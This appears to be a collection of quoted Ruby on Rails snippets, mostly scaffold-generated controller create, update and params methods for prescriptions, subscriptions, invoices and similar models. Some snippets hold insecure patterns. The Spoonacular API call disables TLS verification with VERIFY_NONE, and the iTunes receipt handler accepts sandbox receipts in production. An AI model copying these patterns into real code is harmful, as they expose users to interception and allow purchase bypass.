"def create\n @electronic = Electronic.new(electronic_params)\n\n respond_to do |format|\n if @electronic.save\n format.html { redirect_to @electronic, notice: 'Electronic was successfully created.' }\n format.json { render :show, status: :created, location: @electronic }\n else\n format.html { render :new }\n format.json { render json: @electronic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prescription_params\n params.require(:prescription).permit(:quantity, :unit, :observation, :hospitalization_id, :medicaments)\n end",
"def create\n @prelaunch_subscriber = PrelaunchSubscriber.new(params[:prelaunch_subscriber])\n\n logger.debug \"#{params[:prelaunch_subscriber]}\"\n\n respond_to do |format|\n if @prelaunch_subscriber.save\n format.html { redirect_to root_url }\n format.json { render :json => { :success => true } }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => { :success => false, :errors => @prelaunch_subscriber.errors } }\n end\n end\n \n end",
"def create\n @pres = Pre.all\n @pre = Pre.new(params[:pre])\n\n respond_to do |format|\n if @pre.save\n format.html { redirect_to @pre, notice: 'Pre was successfully created.' }\n format.json { render json: @pre, status: :created, location: @pre }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre.errors, status: :unprocessable_entity }\n end\n end\n\n\n end",
"def create\n @property = Property.find(params[:property_id])\n @prenotation = @property.prenotations.create(prenotation_params)\n\n respond_to do |format|\n if @prenotation.save\n format.html { redirect_to property_prenotations_path(@property), notice: 'Prenotazione effettuata con successo.' }\n format.json { render :show, status: :created, location: @prenotation }\n else\n format.html { render :new }\n format.json { render json: @prenotation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pre_enrollment = PreEnrollment.new(pre_enrollment_params)\n\n respond_to do |format|\n if @pre_enrollment.save\n format.html { redirect_to @pre_enrollment, notice: 'Pre enrollment was successfully created.' }\n format.json { render :show, status: :created, location: @pre_enrollment }\n else\n format.html { render :new }\n format.json { render json: @pre_enrollment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @precioproducto = Precioproducto.new(params[:precioproducto])\n\n respond_to do |format|\n if @precioproducto.save\n format.html { redirect_to @precioproducto, notice: 'Precioproducto was successfully created.' }\n format.json { render json: @precioproducto, status: :created, location: @precioproducto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @precioproducto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prestation_params\n params.require(:prestation).permit(:matter_id, :prestation_date, :details, :rate, :fixed_price, :amount, :code, :libelle, :rate_unit, :expense, :invoice_id)\n end",
"def create\n @prestation_info = Prestation.new(prestation_info_params)\n\n respond_to do |format|\n if @prestation_info.save\n format.html { redirect_to new_prestation_path, notice: \"Prestation info was successfully created.\" }\n format.json { render :show, status: :created, location: @prestation_info }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @prestation_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, :notice => 'Premio was successfully created.' }\n format.json { render :json => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, notice: 'Premio was successfully created.' }\n format.json { render json: @premio, status: :created, location: @premio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def to_prescriptions\n return nil unless self.name == \"ART Visit\" || self.name == \"Pre ART visit\"\n concept_prescribe_cotrimoxazole = Concept.find_by_name(\"Prescribe Cotrimoxazole (CPT)\")\n concept_prescribe_itn = Concept.find_by_name(\"Prescribe Insecticide Treated Net (ITN)\")\n concept_yes = Concept.find_by_name(\"Yes\")\n prescriptions = Array.new\n time_period = \"\"\n amount_remaining_from_last_visit = Hash.new(0)\n self.observations.each{|observation|\n amount_remaining_from_last_visit[observation.drug] = observation.value_numeric if observation.concept.name =~ /remaining/\n }\n self.observations.each{|observation|\n if observation.concept_id == Concept.find_by_name(\"Prescription Time Period\").id\n time_period = observation.value_text\n end\n if observation.drug\n next if observation.concept.name =~ /remaining/\n prescriptions << Prescription.new(observation.drug, observation.value_text, observation.value_numeric, time_period, amount_remaining_from_last_visit[observation.drug])\n elsif observation.concept_id == concept_prescribe_itn.id && observation.value_coded == concept_yes.id\n itn_drug = Drug.find_by_name(\"Insecticide Treated Net\")\n prescriptions << Prescription.new(itn_drug, \"Once\", \"1\", time_period)\n end\n }\n# set the time period for all of these since it might not get set above (depends on order of observations)\n prescriptions.each{|prescription|\n prescription.time_period = time_period\n }\n #raise prescriptions.to_yaml\n return prescriptions\n\n end",
"def create\n @users_prescription = UsersPrescription.new(users_prescription_params)\n\n respond_to do |format|\n if @users_prescription.save\n format.html { redirect_to @users_prescription, notice: 'Users prescription was successfully created.' }\n format.json { render :show, status: :created, location: @users_prescription }\n else\n format.html { render :new }\n format.json { render json: @users_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @premium_subscription = PremiumSubscription.new(premium_subscription_params)\n\n respond_to do |format|\n if @premium_subscription.save\n format.html { redirect_to @premium_subscription, notice: 'Premium subscription was successfully created.' }\n format.json { render :show, status: :created, location: @premium_subscription }\n else\n format.html { render :new }\n format.json { render json: @premium_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prestation = Prestation.new(prestation_params)\n @matter = Matter.find(params[:prestation][:matter_id])\n\n respond_to do |format|\n if @prestation.save\n format.html { redirect_to edit_prestation_path(@prestation), notice: 'Prestation was successfully created.' }\n format.json { render :show, status: :created, location: @prestation }\n else\n format.html { render :new }\n format.json { render json: @prestation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prescription_detail = PrescriptionDetail.new(prescription_detail_params)\n\n respond_to do |format|\n if @prescription_detail.save\n format.html { redirect_to @prescription_detail, notice: 'Prescription detail was successfully created.' }\n format.json { render :show, status: :created, location: @prescription_detail }\n else\n format.html { render :new }\n format.json { render json: @prescription_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prescription_params\n params.require(:prescription).permit(:user_id, :prescribed_at, :drug_id, :quantity, :quantity)\n end",
"def create\n @controlpreat = Controlpreat.new(controlpreat_params)\n\n respond_to do |format|\n if @controlpreat.save\n format.html { redirect_to @controlpreat, notice: 'Controlpreat was successfully created.' }\n format.json { render :show, status: :created, location: @controlpreat }\n else\n format.html { render :new }\n format.json { render json: @controlpreat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prescription_row = PrescriptionRow.new(prescription_row_params)\n @prescription=Prescription.where(id: @prescription_row.id_prescription).first\n\n respond_to do |format|\n if @prescription_row.save\n format.html { redirect_to @prescription, notice: 'Prescription row was successfully created.' }\n format.json { render :show, status: :created, location: @prescription_row }\n else\n format.html { render :new }\n format.json { render json: @prescription_row.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @prescriptions = Prescription.all\n end",
"def medieval_composers\n response = RestClient.get 'https://api.openopus.org/composer/list/epoch/Medieval.json'\n json = JSON.parse response\n puts json\n\n if !json.nil?\n json[\"composers\"].map do |composer|\n Composer.create(name: \"#{composer[\"complete_name\"]}\", birth: \"#{composer[\"birth\"]}\", death: \"#{composer[\"death\"]}\", portrait: \"#{composer[\"portrait\"]}\", period_id: 1)\n end\n else\n puts \"Error seeding composers\"\n end\nend",
"def create\n @precinct = Precinct.new(params[:precinct])\n\n respond_to do |format|\n if @precinct.save\n format.html { redirect_to @precinct, notice: 'Precinct was successfully created.' }\n format.json { render json: @precinct, status: :created, location: @precinct }\n else\n format.html { render action: \"new\" }\n format.json { render json: @precinct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # authorize preorder_conversition\n member = Member.where(id: params[:preorder_conversition][:member_id]).first\n @preorder_conversition = @site.preorder_conversitions.new(permitted_attributes(PreorderConversition).merge(user_id: current_user.id, member_name: member.name, member_phone: member.mobile_phone))\n if @preorder_conversition.save\n render json: {status: 'ok', url: agent_preorder_conversitions_path}\n else\n render json: {status: 'error', message:@preorder_conversition.errors.full_messages.join(',')}\n end\n end",
"def create\n @prestationtype = Prestationtype.new(prestationtype_params)\n\n respond_to do |format|\n if @prestationtype.save\n format.html { redirect_to @prestationtype, notice: \"Prestationtype was successfully created.\" }\n format.json { render :show, status: :created, location: @prestationtype }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @prestationtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prescription_params\n params.require(:prescription).permit(:drug_number, :quantity, :frequency, :refills, :dispense_as_written, :patient_id, :drug_name, :formulary_status, :pharmacy_id)\n end",
"def create(params)\n params.merge!(\n :order_no => (Time.now.to_f * 10000).to_i.to_s, # Produce a unique order_no - it's not used anywhere, but ePay needs this\n :amount => 0\n )\n \n post = Api.default_post_for_params(params).merge({\n :subscription => 1,\n :subscriptionname => params[:description]\n })\n \n query = Api.authorize(post)\n \n if query['accept']\n # Return the new subscriber\n subscription = new(query[\"subscriptionid\"].to_i).reload\n \n # Set (obfuscated) card number:\n subscription.card_no = query[\"tcardno\"]\n \n subscription\n else\n new(nil, 'error' => query[\"error\"])\n end\n end",
"def home\n @prescription = Prescription.new\n @prescription.values = JSON.parse(params[:prescription_values])\n reader = PrescriptionObjectReader.new(@prescription)\n @pipeline = Pipeline.new(reader, [MyFeatures.new, AllErrorsClassifier.new])\n @pipeline.run 1\n @prescription.features = nil # sanitize artifacts other than the input and the decision. make this less kludgey later.\n respond_with(@prescription)\n end",
"def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end",
"def create\n @prepair = Prepair.new(prepair_params)\n\n respond_to do |format|\n if @prepair.save\n format.html { redirect_to @prepair, notice: 'Prepair was successfully created.' }\n format.json { render :show, status: :created, location: @prepair }\n else\n format.html { render :new }\n format.json { render json: @prepair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_preview\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::POST_SUBSCRIPTION_PREVIEW\n\n args.req_body = ZAPIArgs.new\n\n args.req_body.termType = \"TERMED\"\n args.req_body.initialTerm = 12\n args.req_body.contractEffectiveDate = \"2013-1-15\"\n args.req_body.invoiceTargetDate = '2013-12-31'\n\n args.req_body.previewAccountInfo = ZAPIArgs.new\n args.req_body.previewAccountInfo.currency = 'USD'\n args.req_body.previewAccountInfo.billCycleDay = 31\n args.req_body.previewAccountInfo.billToContact = ZAPIArgs.new\n args.req_body.previewAccountInfo.billToContact.city = 'Walnut Creek'\n args.req_body.previewAccountInfo.billToContact.county = 'Contra Consta'\n args.req_body.previewAccountInfo.billToContact.state = 'California'\n args.req_body.previewAccountInfo.billToContact.zipCode = '94549'\n args.req_body.previewAccountInfo.billToContact.country = 'United States'\n\n args.req_body.subscribeToRatePlans = []\n args.req_body.subscribeToRatePlans[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].productRatePlanId = 'ff8080811ca15d19011cdda9b0ad3b51'\n args.req_body.subscribeToRatePlans[0].chargeOverrides = []\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].productRatePlanChargeId =\n 'ff8080811ca15d19011cddad8c953b53'\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].quantity = 100\n\n puts \"========== CREATE A SUBSCRIPTION FOR PREVIEW ============\"\n\n begin\n @z_client.post(args) do |resp|\n ap resp\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n end",
"def create\n @pre_step = PreStep.new(params[:pre_step])\n\n respond_to do |format|\n if @pre_step.save\n format.html { redirect_to @pre_step, notice: 'Pre step was successfully created.' }\n format.json { render json: @pre_step, status: :created, location: @pre_step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre_step.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @presponsable = Presponsable.new(presponsable_params)\n\n respond_to do |format|\n if @presponsable.save\n format.html { redirect_to @presponsable, notice: 'Presponsable was successfully created.' }\n format.json { render action: 'show', status: :created, location: @presponsable }\n else\n format.html { render action: 'new' }\n format.json { render json: @presponsable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @itunes_receipt = params[:subscription][:itunes_receipt] rescue nil\n\n Itunes.shared_secret = ENV[\"itunes_secret\"]\n if Rails.env.development?\n verify = Itunes::Receipt.verify! @itunes_receipt, :allow_sandbox_receipt\n else\n verify = Itunes::Receipt.verify! @itunes_receipt, :allow_sandbox_receipt\n end\n\n @latest = verify.latest.last\n @product_id = @latest.product_id\n @purchase_date = @latest.purchase_date\n @transaction_id = @latest.transaction_id\n\n @subscription_plan = SubscriptionPlan.where(:product_id => @product_id).first\n\n @subscription = Subscription.where(:token => \"IOS-\"+@transaction_id).first\n\n if @subscription\n @subscription.ends_on = @subscription_plan.monthly? ? @purchase_date + 1.month : @purchase_date + 1.year\n else\n @subscription = current_user.build_active_subscription(\n subscription_plan: @subscription_plan,\n token: \"IOS-\"+@transaction_id,\n ends_on: @subscription_plan.monthly? ? @purchase_date + 1.month : @purchase_date + 1.year,\n platform: :ios\n )\n end\n\n if @subscription.save\n render json: {\n success: true\n }\n else\n render json: {\n success: false\n }\n end\n\n rescue Exception => e\n logger.warn e.message\n render json: {\n success: false\n }\n end",
"def destroy\n @electronic_prescription.destroy\n respond_to do |format|\n format.html { redirect_to electronic_prescriptions_url, notice: 'Electronic prescription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to(@premio, :notice => 'Premio was successfully created.') }\n format.xml { render :xml => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @prevision = Prevision.new(prevision_params)\n\n respond_to do |format|\n if @prevision.save\n format.html { redirect_to @prevision, notice: 'Previsión guardada correctamente.' }\n format.json { render :show, status: :created, location: @prevision }\n else\n format.html { render :new }\n format.json { render json: @prevision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create\n @datum_receipt = DatumReceipt.new(datum_receipt_params)\n\n respond_to do |format|\n if @datum_receipt.save\n format.html { redirect_to @datum_receipt, notice: 'Datum receipt was successfully created.' }\n format.json { render :show, status: :created, location: @datum_receipt }\n else\n format.html { render :new }\n format.json { render json: @datum_receipt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_prescription\n @prescription = Prescription.find(params[:id])\n end",
"def set_prescription\n @prescription = Prescription.find(params[:id])\n end",
"def set_prescription\n @prescription = Prescription.find(params[:id])\n end",
"def set_prescription\n @prescription = Prescription.find(params[:id])\n end",
"def create\n @premio_manual = PremioManual.new(premio_manual_params)\n\n respond_to do |format|\n if @premio_manual.save\n format.html { redirect_to @premio_manual, notice: 'Se ha creado correctamente.' }\n format.json { render :show, status: :created, location: @premio_manual }\n else\n format.html { render :new }\n format.json { render json: @premio_manual.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @oscillator = Oscillator.new(oscillator_params)\n\n respond_to do |format|\n if @oscillator.save\n format.html { redirect_to @oscillator, notice: \"Oscillator was successfully created.\" }\n format.json { render :show, status: :created, location: @oscillator }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @oscillator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_prescription\n @prescription = Prescription.find(params[:id])\n end",
"def update\n\n electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i\n\n respond_to do |format|\n if @electronic_prescription.update(electronic_prescription_params)\n format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully updated.' }\n format.json { render :show, status: :ok, location: @electronic_prescription }\n else\n format.html { render :edit }\n format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @prepagada = Prepagada.new({ :prepagada => params[:prepagada], :odontologo_id => params[:odontologo_id] })\n\n respond_to do |format|\n if @prepagada.save\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully created.' }\n format.json { render json: @prepagada, status: :created, location: @prepagada }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_subscriptions(to_hash)\n end",
"def create\n @invoice = Invoice.new(params[:invoice])\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n @invoice.status = Invoice::DRAFT\n @invoice.year = @counter.year\n @invoice.invoice_id = @counter.number\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prescription = Prescription.new(prescription_params)\n @prescription.user_id = current_user.id\n\n respond_to do |format|\n # FIXME: new and delete hook\n if @prescription.save\n if (Stock.where(:user_id => current_user.id, :drug_id => @prescription.drug_id).first!= nil)\n new_quantity = Stock.where(:user_id => current_user.id, :drug_id => @prescription.drug_id).order(\"updated_at DESC\").first.quantity_available + @prescription.quantity\n else\n new_quantity = @prescription.quantity\n end\n @stock = Stock.new(user_id: current_user.id, quantity_available: new_quantity, drug_id: @prescription.drug_id)\n @stock.save\n format.html { redirect_to @prescription, notice: 'Prescription was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prescription }\n else\n format.html { render action: 'new' }\n format.json { render json: @prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @premise = Premise.new(premise_params)\n\n respond_to do |format|\n if @premise.save\n format.html { redirect_to @premise, notice: 'Premise was successfully created.' }\n format.json { render :show, status: :created, location: @premise }\n else\n format.html { render :new }\n format.json { render json: @premise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @requisition = Requisition.new(requisition_params)\n @requisition.user_id = current_user.username\n @requisition.specification_id = session[:specification_sel_id]\n @requisition.solicitante = @requisition.solicitante.upcase\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to @requisition, notice: 'Requisition was successfully created.' }\n format.json { render :show, status: :created, location: @requisition }\n else\n format.html { render :new }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::POST_SUBSCRIPTION\n\n args.req_body = ZAPIArgs.new\n args.req_body.accountKey = SAMPLE_ACCOUNT_KEY\n args.req_body.contractEffectiveDate = '2013-02-1'\n args.req_body.termType = 'TERMED'\n args.req_body.initialTerm = '12'\n args.req_body.autoRenew = true\n args.req_body.renewalTerm = \"3\"\n args.req_body.notes = 'Test POST subscription from z-ruby-sdk'\n args.req_body.subscribeToRatePlans = []\n args.req_body.subscribeToRatePlans[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].productRatePlanId = 'ff8080811ca15d19011cdda9b0ad3b51'\n args.req_body.subscribeToRatePlans[0].chargeOverrides = []\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].productRatePlanChargeId =\n 'ff8080811ca15d19011cddad8c953b53'\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].quantity = 10\n args.req_body.invoiceTargetDate = '2013-12-31'\n args.req_body.invoiceCollect = false\n\n puts \"========== CREATE A SUBSCRIPTION ============\"\n\n begin\n @z_client.post(args) do |resp|\n ap resp\n return resp.subscriptionNumber if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end",
"def create\n @inscriptionprepaconcour = Inscriptionprepaconcour.new(params[:inscriptionprepaconcour])\n\n respond_to do |format|\n if @inscriptionprepaconcour.save\n format.html { redirect_to @inscriptionprepaconcour, notice: 'Inscriptionprepaconcour was successfully created.' }\n format.json { render json: @inscriptionprepaconcour, status: :created, location: @inscriptionprepaconcour }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inscriptionprepaconcour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medusa_premis_representation_object = MedusaPremis::RepresentationObject.new(params[:medusa_premis_representation_object])\n\n respond_to do |format|\n if @medusa_premis_representation_object.save\n format.html { redirect_to(catalog_path(id: @medusa_premis_representation_object.id), notice: 'Representation object was successfully created.') }\n format.json { render json: @medusa_premis_representation_object, status: :created, location: @medusa_premis_representation_object }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medusa_premis_representation_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @requisition = Requisition.new(params[:requisition])\n\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to @requisition, notice: 'Requisition was successfully created.' }\n format.json { render json: @requisition, status: :created, location: @requisition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pre_print_type = PrePrintType.new(params[:pre_print_type])\n\n respond_to do |format|\n if @pre_print_type.save\n format.html { redirect_to @pre_print_type, notice: 'Pre print type was successfully created.' }\n format.json { render json: @pre_print_type, status: :created, location: @pre_print_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre_print_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prestamo = Prestamo.new(prestamo_params)\n\n respond_to do |format|\n if @prestamo.save\n format.html { redirect_to @prestamo, notice: \"Prestamo was successfully created.\" }\n format.json { render :show, status: :created, location: @prestamo }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @prestamo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pre_sale = PreSale.new_with(params[:pre_sale], params[:date])\n\n respond_to do |format|\n if @pre_sale.save\n format.html { redirect_to @pre_sale, notice: I18n.t('app.views.pre_sales.messages.create.success') }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def users_prescription_params\n params.require(:users_prescription).permit(:user_id, :prescription_id)\n end",
"def set_prescription\n @patient = Patient.find(params[:patient_id])\n @prescription = Prescription.find(params[:id])\n end",
"def create\n @registration = Registration.new(registration_params)\n\n if @registration.save\n @registration.generate_invoices\n\n render :show, status: :created\n else\n render json: @registration.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def prescription_params\n params.require(:prescription).permit(:status, :image)\n end",
"def create\n @power_order = PowerOrder.new(power_order_params)\n @power_order.save\n render json: @power_order\n end",
"def create\n @encuesta_preguntum = EncuestaPreguntum.new(encuesta_preguntum_params)\n\n respond_to do |format|\n if @encuesta_preguntum.save\n format.html { redirect_to @encuesta_preguntum, notice: 'Encuesta preguntum was successfully created.' }\n format.json { render :show, status: :created, location: @encuesta_preguntum }\n else\n format.html { render :new }\n format.json { render json: @encuesta_preguntum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @receipt = Receipt.new(receipt_params)\n\n respond_to do |format|\n if @receipt.save\n format.html { redirect_to receipts_url, notice: 'Платеж успешно создан.' }\n format.json { render :show, status: :created, location: @receipt }\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase = Purchase.new(\n date: purchase_params[:date],\n brand: purchase_params[:brand],\n by_cup: purchase_params[:by_cup],\n fair_trade: purchase_params[:fair_trade],\n price: purchase_params[:price],\n rating: purchase_params[:rating],\n # check who the currently logged in user is\n user_id: get_current_user.id)\n\n if @purchase.save\n render json: {status: 201, purchase: @purchase}\n else\n puts @purchase.error\n render json: {status: 422, message: 'Unprocessable Entity'}\n end\n end",
"def create\n @order = WebOrder.new(order_params)\n respond_to do |format|\n if @order.save\n @order.payments.create(total_paid: params[:initial], kind: :initial, date: @order.date) if params[:initial] && params[:initial].to_i != 0\n format.html { redirect_to order_path(@order.id), notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { redirect_to new_order_path }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @preceed = Preceed.new(params[:preceed])\n\n respond_to do |format|\n if @preceed.save\n format.html { redirect_to @preceed, notice: 'Preceed was successfully created.' }\n format.json { render json: @preceed, status: :created, location: @preceed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pre_test_answer = PreTestAnswer.new(pre_test_answer_params)\n\n respond_to do |format|\n if @pre_test_answer.save\n format.html { redirect_to @pre_test_answer, notice: 'Pre test answer was successfully created.' }\n format.json { render :show, status: :created, location: @pre_test_answer }\n else\n format.html { render :new }\n format.json { render json: @pre_test_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @microposr = Microposr.new(params[:microposr])\n\n respond_to do |format|\n if @microposr.save\n format.html { redirect_to @microposr, notice: 'Microposr was successfully created.' }\n format.json { render json: @microposr, status: :created, location: @microposr }\n else\n format.html { render action: \"new\" }\n format.json { render json: @microposr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pacient = Pacient.find(params[:pacient_id])\n @evaluare = @pacient.evaluares.create(params[:evaluare])\n\n respond_to do |format|\n if @evaluare.save\n format.html { redirect_to @pacient, notice: 'Evaluare was successfully created.' }\n format.json { render json: @evaluare, status: :created, location: @evaluare }\n else\n format.html { render action: \"new\" }\n format.json { render json: @evaluare.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_subscription\n session[:merchant_subscription_id] = 'User' + sprintf('%03d', rand(1000)) + 'Subscription' + sprintf('%04d', rand(10000))\n\n # prepare payload\n data = {\n :Amount => params[:product] == '1' ? 1.99 : 3.99,\n :Category => 1,\n :Channel => 'MOBILE_WEB',\n :Description => 'Word game 1',\n :MerchantTransactionId => session[:merchant_subscription_id],\n :MerchantProductId => 'wordGame1',\n :MerchantPaymentRedirectUrl => settings.subscription_redirect_url,\n :MerchantSubscriptionIdList => 'sampleSubscription1',\n :IsPurchaseOnNoActiveSubscription => 'false',\n :SubscriptionRecurringNumber => '99999',\n :SubscriptionRecurringPeriod => 'MONTHLY',\n :SubscriptionRecurringPeriodAmount => 1\n }\n\n response = RestClient.post settings.notary_app_sign_url, :payload => data.to_json\n from_json = JSON.parse response\n\n redirect settings.FQDN + \"/Commerce/Payment/Rest/2/Subscriptions?clientid=#{settings.api_key}&SignedPaymentDetail=#{from_json['signed_payload']}&Signature=#{from_json['signature']}\"\nend",
"def create\n @resource = Invoice.new(params[:invoice])\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to invoices_url, notice: 'invoice was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @productonegocio = Productonegocio.new(params[:productonegocio])\n\n respond_to do |format|\n if @productonegocio.save\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully created.' }\n format.json { render json: @productonegocio, status: :created, location: @productonegocio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @valued_pre_parameter = ValuedPreParameter.new(valued_pre_parameter_params)\n\n respond_to do |format|\n if @valued_pre_parameter.save\n format.html { redirect_to @valued_pre_parameter, notice: 'Valued pre parameter was successfully created.' }\n format.json { render :show, status: :created, location: @valued_pre_parameter }\n else\n format.html { render :new }\n format.json { render json: @valued_pre_parameter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n if (!@subscription.quantity)\n @subscription.quantity = 1\n end\n\n respond_to do |format|\n if @subscription.save\n \n if params[:subscription][:bill_now] == \"1\"\n # Create the pro-rated charge\n begin\n \n rescue Exception => exc\n logger.error(\"Oh no! There was an error adding the invoice item: #{exc.message}\")\n end\n end\n \n format.html { redirect_to subscriptions_url, success: 'Subscription was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subscription } \n else \n format.js { render action: 'new' }\n format.html { render action: 'new' }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @puntuation = Puntuation.new(puntuation_params)\n\n respond_to do |format|\n if @puntuation.save\n @voted_contribution = Contribution.find(@puntuation.contribution_id)\n @voted_contribution.increment!(:puntuation, 1)\n format.html { redirect_to :back }\n format.json { render :show, status: :created, location: @puntuation }\n else\n format.html { render :new }\n format.json { render json: @puntuation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @remixer = Remixer.new(remixer_params)\n\n respond_to do |format|\n if @remixer.save\n format.html { redirect_to @remixer, notice: 'Remixer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @remixer }\n else\n format.html { render action: 'new' }\n format.json { render json: @remixer.errors, status: :unprocessable_entity }\n end\n end\n end",
